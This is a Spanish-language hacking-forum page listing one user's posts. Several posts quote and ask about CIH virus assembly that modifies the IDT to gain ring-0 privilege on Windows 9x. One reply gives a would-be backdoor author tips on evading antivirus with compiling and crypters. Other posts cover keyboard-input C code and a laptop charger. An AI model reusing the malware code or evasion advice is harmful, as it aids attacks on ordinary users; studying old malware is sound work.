elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42 43
331  Seguridad Informática / Análisis y Diseño de Malware / Instruccion SIDT y el virus CIH. en: 9 Agosto 2020, 14:32 pm
Hola,
Tengo una duda un poco tonta que me esta rompiendo la cabeza... el virus CIH, para obtener privilegios del sistema, altera la IDT y modifica la entrada de una excepcion que luego ocasiona. Sin embargo, ¿no son, tanto las instrucciones SIDT y LIDT privilegiadas de antemano? es decir, ¿como el virus accede a la IDT cuando es un simple EXE en modo usuario?:

Citar
MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ;
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

;...
332  Seguridad Informática / Análisis y Diseño de Malware / Re: Evitar los antivirus y/o desactivarlos en: 7 Agosto 2020, 12:38 pm
A que en C si te lo detecta... :silbar:
Prueba compilandolo. Aunque eso tal vez lo haga mas detectable... es cuestion de firmas (y herustica).

https://www.tutorialspoint.com/What-are-pyc-files-in-Python

PD: puedes encontrar formas en Internet de construir EXEs a partir de scripts de Python. Lo que mejor se me ocurre a priori es hacerlo y en seguida cifrarlos. Puedes encontrar crypters en todas partes, aunque estarias saliendo de Guatemala y entrando a Guatepeor. Te recomiendo leer la documentacion de Windows para tratar con modulos ejecutables y hacerlo tu mismo.

Saludos.


(Ademas, el ambito de infeccion de un backdoor -pues es mas un backdoor que un troyano- escrito en Python se reduce a ciertos servidores y la mayoria de usuarios con Linux, y aparentemente tu objetivo es el usuario tipico. Esto a menos que incluyas una utilidad para instalar Python de antemano, lo cual, sinceramente, a mi me parece ineficiente).
333  Seguridad Informática / Análisis y Diseño de Malware / Obtencion de Ring 0 por parte del virus CIH en Windows 9x. en: 7 Agosto 2020, 12:25 pm
Hola,
Hace poco descargue el codigo fuente del virus CIH para entenderlo, pues me parece interesante. Sin embargo me encontre con una parte de el que no entiendo muy bien, como era de esperarse...

Código
  1. ; *************************************
  2. ; * Let's Modify *
  3. ; * IDT(Interrupt Descriptor Table) *
  4. ; * to Get Ring0 Privilege... *
  5. ; *************************************
  6.  
  7. push eax ;
  8. sidt [esp-02h] ; Get IDT Base Address
  9. pop ebx ;
  10.  
  11. add ebx, HookExceptionNumber*08h+04h ; ZF = 0
  12.  
  13. cli
  14.  
  15. mov ebp, [ebx] ; Get Exception Base
  16. mov bp, [ebx-04h] ; Entry Point
  17.  
  18. lea esi, MyExceptionHook-@1[ecx]
  19.  
  20. push esi
  21.  
  22. mov [ebx-04h], si ;
  23. shr esi, 16 ; Modify Exception
  24. mov [ebx+02h], si ; Entry Point Address
  25.  
  26. pop esi

El comentario es bastante descriptivo. Sin duda suficiente para entender el objetivo, sin embargo el medio en si que utiliza en toda profundidad no lo entiendo plenamente:

Código
  1. push eax ;
  2. sidt [esp-02h] ; Get IDT Base Address
  3. pop ebx ;
Aparentemente esta metiendo a EAX en la pila para luego, en sidt [esp-02h], introducir la base de la IDT en EBX pero, ¿por que resta 2? ¿no deberia mas bien sumar 4? recordemos que los valores en la medida que son antiguos en la pila, se encuentran en posiciones de memoria mas altas y, en este caso, hablando de un registro de 4 bytes, precisamente 4 posiciones mas alto.

Código
  1. mov ebp, [ebx] ; Get Exception Base
  2. mov bp, [ebx-04h] ; Entry Point
Esto no es nada evidente para mi. ¿Mueve, aparentemente, el Entry Point del IDT HookExceptionNumber a ebp, y luego lo que sea que se encuentre 4 bytes antes del mismo en los 16 bits menos significativos de EBP? ¿que sentido tiene?

Código
  1. lea esi, MyExceptionHook-@1[ecx]
Ahora, mas evidentemente mueve el desplazamiento del hook a ESI. Sin embargo, ¿que es -@1[ecx]? ¿alguna forma de relocalizacion? No lo entiendo en absoluto. Aun no he aprendido esa sintaxis... ¿alguien tiene idea de al menos como se llama?

Código
  1. mov [ebx-04h], si ;
  2. shr esi, 16 ; Modify Exception
  3. mov [ebx+02h], si ; Entry Point Address
Mueve a esa misteriosa direccion (EBX-04) el desplazamiento antes mencionado... ¿alguien tiene idea de que hay en los anteriores 4 bytes a un IDT? (evidentemente otro IDT, pero la pregunta es ironica, quiero decir, ¿alguien sabe por que?)

Eso es todo... estoy un poco enredado.
Saludos.
334  Seguridad Informática / Análisis y Diseño de Malware / Re: Spectre Rootkit - Source en: 7 Agosto 2020, 12:06 pm
Gracias por compartirlo.
335  Sistemas Operativos / Windows / Re: Esquema (casi) completo del formato PE de Windows. en: 3 Agosto 2020, 17:38 pm
No oigo nada.
gira a 2 m/s y yo necesito más velocidad

Pense que llegabas, al menos, a los 343...  :silbar:




https://www.google.com/search?client=marax;)&q=velocidad+del+sonido
336  Sistemas Operativos / Windows / Re: Alternativa a las Virtual Keys de Windows. en: 2 Agosto 2020, 14:35 pm
Una app novedosa ...
No es una rueda. Es mi rueda.  :rolleyes:
337  Informática / Hardware / Re: [urgente (creo)] Ayuda con resistencia electrica. en: 29 Julio 2020, 20:51 pm
¿Cable?, el cable no hace nada más que llevar corriente, lo que proporciona voltaje e intensidad es la fuente/cargador......error de concepto.
Pues... sinceramente tienes razon, me equivoque de termino. Sin embargo evidentemente me referia al potencial de la fuente.

Los portatiles normalmente se alimentan a 19.5v, pero aunque te pases un poquito no suele pasar nada, solo un poco de calentamiento, quizás.
Esta bien... supongo que no pasa nada entonces. Gracias.

Wow, solo 2.37 :xD, con razón tu LapTop no tiene teclado numérico, acabo de revisar y mi UltraBook más vieja de 16 pulgadas tiene un cargador de 20V 3.25A
Es que es de muy alto rendimiento. :xD


siempre revisa que no se sobrecaliente dicho cargador.
Mi antiguo cargador se sobrecargaba un monton. Honestamente soy bastante grosero con mis electronicos; a mi laptop la dejo a veces encendida sin siquiera utilizarla. Es un mal habito. Era de esperarse que se dañara algo...

Por cierto, para tu teclado no sé si lo has solucionado, pero con AutoHotKey lo solucionas, al menos yo lo uso para cosas similares...
¿te refieres al lenguaje?
338  Sistemas Operativos / Windows / Re: Alternativa a las Virtual Keys de Windows. en: 29 Julio 2020, 17:49 pm
¿Y no seria más simple tener un teclado normal externo por USB?......
Seria mas aburrido.

Mencionando el teclado numerico me hicieron darme cuenta de que en vez de todo el rollo de convertir Virtual Keys a UNICODE y enviarlas al teclado, etc. podia mas tranquilamente simular las teclas del teclado numerico. Gracias. Ahora funciona perfectamente; dejo el codigo de la funcion por si a alguien le interesa:

Código
  1. inline void send_in (char *in_buffer)
  2. {  
  3.    int i;
  4.    INPUT in;
  5.  
  6.    /*printf ("\r\n[dbg] sending ascii key code: %s (%c)",
  7. in_buffer,
  8. atoi (in_buffer));*/
  9.  
  10.    in.type = INPUT_KEYBOARD;
  11.    in.ki.wScan = 0;
  12.    in.ki.time = 0;
  13.    in.ki.dwExtraInfo = 0;
  14.  
  15.    in.ki.wVk = 0x12;
  16.    in.ki.dwFlags = 0;
  17.    SendInput(1, &in, sizeof(INPUT));
  18.  
  19. for (i=0;i<strlen (in_buffer);i++)
  20. {
  21. switch (in_buffer[i])
  22. {
  23. case '0':
  24. send_numpad (&in, VK_NUMPAD0);
  25.     break;
  26.     case '1':
  27. send_numpad (&in, VK_NUMPAD1);
  28.     break;
  29.     case '2':
  30. send_numpad (&in, VK_NUMPAD2);
  31.     break;
  32.     case '3':
  33. send_numpad (&in, VK_NUMPAD3);
  34.     break;
  35.     case '4':
  36. send_numpad (&in, VK_NUMPAD4);
  37.     break;
  38.     case '5':
  39. send_numpad (&in, VK_NUMPAD5);
  40.     break;
  41.     case '6':
  42. send_numpad (&in, VK_NUMPAD6);
  43.     break;
  44.     case '7':
  45. send_numpad (&in, VK_NUMPAD7);
  46.     break;
  47.     case '8':
  48. send_numpad (&in, VK_NUMPAD8);
  49.     break;
  50.     case '9':
  51. send_numpad (&in, VK_NUMPAD9);
  52.     break;
  53.     default: break;
  54. }
  55. }
  56.  
  57.  
  58.    in.ki.wVk = 0x12;
  59.    in.ki.dwFlags = KEYEVENTF_KEYUP;
  60.    SendInput(1, &in, sizeof(INPUT));
  61.    return;
  62. }
  63.  

y send_numpad:
Código
  1. inline void send_numpad (INPUT *in, int vk)
  2. {
  3.    in->ki.wVk = vk;
  4.    in->ki.dwFlags = 0;
  5.    SendInput(1, in, sizeof(INPUT));
  6.    in->ki.dwFlags = KEYEVENTF_KEYUP;
  7.    SendInput(1, in, sizeof(INPUT));
  8.    return;
  9. }
339  Informática / Electrónica / Re: Morse en: 29 Julio 2020, 17:10 pm
¿El código morse en digital...?
Solo para corregir lo que dije anteriormente...
Es un codigo binario, por lo tanto digital, que se transmite de forma analogica.
340  Informática / Hardware / [urgente (creo)] Ayuda con resistencia electrica. en: 29 Julio 2020, 12:31 pm
Hola. Bueno, se acaba de dañar mi cargador... y se me ocurrio hacer uno pues aun necesito utilizar mi laptop mientras no compro otro. La cosa es que temo de quemar las resistencias de la computadora. El cable que estoy utilizando la esta alimentando con 20V a 2.25A. El cable original la alimentaba con 19V a 2.37A. Me preguntaba si alguien considera que deberia desconectarla paulatinamente, o que no deberia utilizar este cable en absoluto.

Gracias. (Espero que no se me queme mientras tanto)
Saludos.
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines